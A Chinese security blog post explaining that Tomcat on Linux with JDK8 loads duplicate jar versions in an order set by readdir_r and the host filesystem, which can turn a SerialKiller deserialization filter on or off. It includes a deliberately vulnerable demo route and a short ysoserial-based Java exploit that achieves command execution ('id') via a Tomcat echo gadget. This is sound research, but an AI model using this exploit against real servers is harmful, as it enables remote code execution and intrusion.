Linux jdk8 tomcat 使用 lib 的随机性

Linux jdk8 tomcat 使用 lib 的随机性

先说结论

如果 linux jdk8 tomcat 的 WEB-INF/lib 下面有同一个依赖的不同版本(比如serialkiller-0.4.jar 和 serialkiller-0.5.jar),tomcat 究竟用哪个是 随机的,这源于 不同 linux 的 filesystem 的差异。如果是 docker ,那么就取决于 宿主机的 filesystem 的差异(与镜像无关)。

demo 环境

https://github.com/1nhann/tomcat_lib_random

jdk8u181

存在一个路由,可以直接反序列化传入的数据,但是会经过 serialkiller 过滤:

image-20220628182720511

打成 war 包后,lib 下面同时有两个版本的 serialkiller.jar ,0.4 版本和 0.5 版本(0.4 是通过 pom.xml 加进去的,0.5 是编译 https://github.com/ikkisoft/SerialKiller 源码 ,然后直接放到 lib 下的):

image-20220628182538504

二者都能处理 xml 的配置文件,但是默认情况下,规则有些差别:

0.4 版本适配的白名单:

image-20220628165545825

也就是类似这样的 xml :

1
2
3
<whitelist>
<regexp>.*</regexp>
</whitelist>

0.5 版本适配的白名单:

image-20220628165726367

也就是类似这样的 xml :

1
2
3
4
5
<whitelist>
<regexps>
<regexp>.*</regexp>
</regexps>
</whitelist>

而本环境中, serialkiller.xml 是按照 0.4 版本的格式写的,0.5 版本的因为没法 正常处理 serialkiller.xml 所以白名单为空,任何类都没法被反序列化。

也就是说如果tomcat 如果用了 0.5 那就根本打不通了

那么linux 环境下 tomcat 到底会用 serialkiller-0.4.jar 还是 serialkiller-0.5.jar 呢?

调试 tomcat 加载 lib 下的 jar 的过程

调试用的环境:

windows tomcat 9.0.59,jdk8u181

Ubuntu 20.04.4 tomcat 9.0.54 ,jdk8u181

win 用0.4,linux用0.5


windows 环境下:

tomcat 通过调用 org.apache.catalina.webresources.StandardRootprocessWebInfLib() 来得到所有 possible jars ,其逻辑是 list /WEB-INF/lib 下的所有内容:

image-20220627154724155

跟进这个 list, 一直到 org.apache.catalina.webresources.DirResourceSetlist() ,可以看到其底层是调用了 一个 File 对象的 list() 方法,而由 f.list() 的返回值可以看到 serialkiller-0.4.jarserialkiller-0.5.jar 前面 :

image-20220627155116672

serialkiller-0.5.jarserialkiller-0.4.jar 谁在前,决定了 tomcat 在 加载类的时候优先是用的哪个 jar ,也就是说在本 windows 环境下,会用 serialkiller-0.4.jar 而不是 0.5

linux 环境下

而本环境的 linux 下,由 f.list() 的返回值可以看到 serialkiller-0.5.jarserialkiller-0.4.jar 前面 :

image-20220627155440961

serialkiller-0.5.jarserialkiller-0.4.jar 谁在前,决定了 tomcat 在 加载类的时候优先是用的哪个 jar ,也就是说在本 linux 环境下,会用 serialkiller-0.5.jar 而不是 0.4

因而可以看到,在 windows 和 linux 下,tomcat 加载同名不同版本的 lib 是有差异的,那么在不同发行版本的 linux 中,tomcat 加载同名不同版本的 lib 又是否就表现一致呢?

从 c++ 源码 和 libc 的角度探究 linux 下的类加载差异:

unix 环境,究其底层是调用了 UnixFileSystemlist()

image-20220627155801253

windows 环境,究其底层是调用了 WinNTFileSystemlist()

image-20220627160419183

它们都是 native 方法,所以需要去看 c++ 代码:

下载 openjdk 源码,切换版本为 jdk8u181

https://github.com/AdoptOpenJDK/openjdk-jdk8u

1
git checkout jdk8u181-b10

阅读 jdk/src/solaris/native/java/io/UnixFileSystem_md.cJava_java_io_UnixFileSystem_list 函数,可以知道是调用了 readdir64_r 实现的目录扫描:

image-20220627163922305

而这个 readdir64_r 实际上就是 readdir_r ,是一个 libc 函数:

image-20220627165952518

readdir_r 的特点:

https://man7.org/linux/man-pages/man3/readdir_r.3.html

https://man7.org/linux/man-pages/man3/readdir.3.html

https://stackoverflow.com/questions/8977441/does-readdir-guarantee-an-order

https://www.cnblogs.com/fortunely/p/15178264.html

readdir_rreaddir 底层类似:

The readdir_r function was invented as a reentrant version of readdir.

readdir_rreaddir 的可重入版本,线程安全。readdir 因为直接返回了一个 static 的 struct dirent,因此是非线程安全。

image-20220628160139486

readdir 返回的 文件名的顺序 是 随机的 :

The order in which filenames are read by successive calls to readdir() depends on the filesystem implementation; it is unlikely that the names will be sorted in any fashion.

readdir_r 读文件的顺序是有序但是复杂,可以看做是随机的。与 filesystem 的差异有关。

image-20220628154750514

写 poc,验证 readdir_r 的特点

ls -f 测试也可以

先运行命令行,创建一个 serialkiller-0.4.jarserialkiller-0.5.jar 用以测试

1
rm /tmp/test -r ; mkdir /tmp/test -p ; touch /tmp/test/serialkiller-0.4.jar ; touch /tmp/test/serialkiller-0.5.jar

c 代码,仿照 jdk 源码,对 /tmp/test 目录下的内容进行 list :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <dirent.h>
#include <stdio.h>
#include <stdlib.h>
#define P_MAX 1024
int main()
{
struct dirent64* direntp;
struct dirent *pStResult = NULL;
struct dirent *pStEntry = NULL;
int len = 0;

DIR *pDir = opendir("/tmp/test");
if(NULL == pDir)
{
printf("Opendir failed!\n");
return 0;
}

pStEntry = malloc(sizeof(direntp) + (P_MAX + 1));

while(! readdir_r(pDir, pStEntry, &pStResult) && pStResult != NULL)
{
printf("file'name is %s\n", pStEntry->d_name);
}

free(pStEntry);
closedir(pDir);
return 0;
}

在 Ubuntu 20.04.4 上测试的结果:

image-20220627171054614

可以看到 serialkiller-0.5.jarserialkiller-0.4.jar 前面

在 Ubuntu 20.04.3 上测试的结果:

但是如果在 Ubuntu 20.04.3 中, serialkiller-0.4.jarserialkiller-0.5.jar 前面 :

image-20220627184916972

readdir_r 结果的差异,影响了 jdk8 情况下 tomcat 类的加载

The order in which filenames are read by successive calls to readdir() depends on the filesystem implementation; it is unlikely that the names will be sorted in any fashion.

操作系统的 filesystem 的差异,影响了 readdir_r 的结果,也自然影响了 jdk8u181 的 File 类的 list 方法,从而影响了 tomcat 对于 WEB-INF/lib 目录下的 jar 的处理顺序。

看看 linux jdk8 的其他版本,直接看最新的 jdk8u332-b00 :

image-20220628155740918

可以看到,也是用的 readdir_r

image-20220628155811169

所以linux下的 jdk8 但凡调用 File 的 list ,返回的文件名的顺序就是随机的,和操作系统的filesystem 有关

不同宿主机相同镜像,readdir_r 结果不同

在宿主机为 ubuntu 20.04.3 中,起一个 ubuntu:18.04 的镜像,readdir_r 的运行结果是 0.4 在前面

在宿主机为 ubuntu 20.04.4 中,起一个 ubuntu:18.04 的镜像,readdir_r 的运行结果是 0.5 在前面

20.04.3 的情况:

image-20220627202841094

20.04.4 的情况:

image-20220627201858222

所以可以做出推测,readdir_r 的结果和宿主机有关,而与镜像无关。

也就是说,对于一个 WEB-INF/lib 下有多个版本不同的相同依赖的linux + tomcat + jdk8 环境,在不同的宿主机中,因为选择加载的 jar 不同,可能表现得也不一样。甚至会导致一个环境打得通,另一个环境打不通的情况,而且不好预测,相当随机。

exploit 打 demo

因为黑名单为空,所以直接打:

image-20220628175829701

exp :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package top.inhann;

import ysoserial.Serializer;
import ysoserial.payloads.CommonsCollections10;
import ysoserial.payloads.rceecho.TomcatEcho3;
import ysoserial.payloads.util.Encoder;
import ysoserial.payloads.util.HttpRequest;
// https://github.com/1nhann/ysoserial
public class Test3 {
public static void main(String[] args) throws Exception{
Object o = new TomcatEcho3().getObject(CommonsCollections10.class);
byte[] b = Serializer.serialize(o);
String exp = Encoder.base64_encode(b);
String url = "http://localhost:8080/tom/test";
byte[] resp = new HttpRequest(url).addPostData("exp",exp).addHeader("cmd","id").send();
System.out.println(new String(resp));
}
}

打 ubuntu 20.04.4 :

被拦截,因为白名单为空(即使是 URLDNS 也会被拦截):

image-20220628180835105

image-20220628181050900

打 ubuntu 20.04.3 :

反序列化成功,并回显:

image-20220628181616785

总结

如果一个 linux,用的 jdk8 + tomcat ,而 WEB-INF/lib 下面有多个版本不同的相同依赖,这时候 tomcat 究竟用哪个依赖是 随机的,其底层原因 是 readdir_r 这个libc 函数返回 文件名的顺序是随机的,而 readdir_r 这个libc 函数返回 文件名的顺序 的不同,源于 不同 linux 的 filesystem 的差异。

而且,这个 filesystem 的差异会影响到 docker 容器, readdir_r 在 docker 容器内外 的反应一致,也就是说,即使是相同镜像,在不同宿主机上,也可能表现得不一样

总之,不要往lib下面放同一个依赖的不同版本。